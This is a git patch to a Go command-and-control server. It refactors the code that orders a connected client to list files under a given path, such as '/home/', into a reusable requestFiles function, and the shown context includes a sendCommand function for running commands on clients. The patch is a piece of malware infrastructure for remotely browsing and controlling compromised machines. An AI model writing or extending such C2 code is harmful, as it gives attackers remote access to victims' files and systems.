From 063f46dcfdd1f7cdcdda5626a1adace88cf44a2e Mon Sep 17 00:00:00 2001 From: raul Date: Mon, 17 Jun 2024 10:04:31 +0200 Subject: [PATCH] Add C2 server function to request file listings --- cmd/serverFunc.go | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) diff --git a/cmd/serverFunc.go b/cmd/serverFunc.go index 1ac57df..c91b2c2 100644 --- a/cmd/serverFunc.go +++ b/cmd/serverFunc.go @@ -117,22 +117,20 @@ func handleConn(conn net.Conn) { } go Heartbeat(ID) - time.Sleep(time.Second * 1) - fmt.Println("ATTEMPT") - client, _, _ := returnClient(ID) - client.Instruct( - Instructions{ - IsListFiles: true, - Path: "/home/", - }, - ) - message, err := ServerMessageReceiver(conn) +} + +func requestFiles(client Client, path string) (Response, error) { + inst := Instructions{ + IsListFiles: true, + Path: path, + } + client.Instruct(inst) + message, err := ServerMessageReceiver(client.Conn) if err != nil { - log.Print(err) - } - for _, v := range message.FileList.File { - fmt.Println(v.Name, v.FullPath, v.IsFolder) + log.Println(err) + return message, err } + return message, nil } func sendCommand(client Client, command string) (Output string, err error) {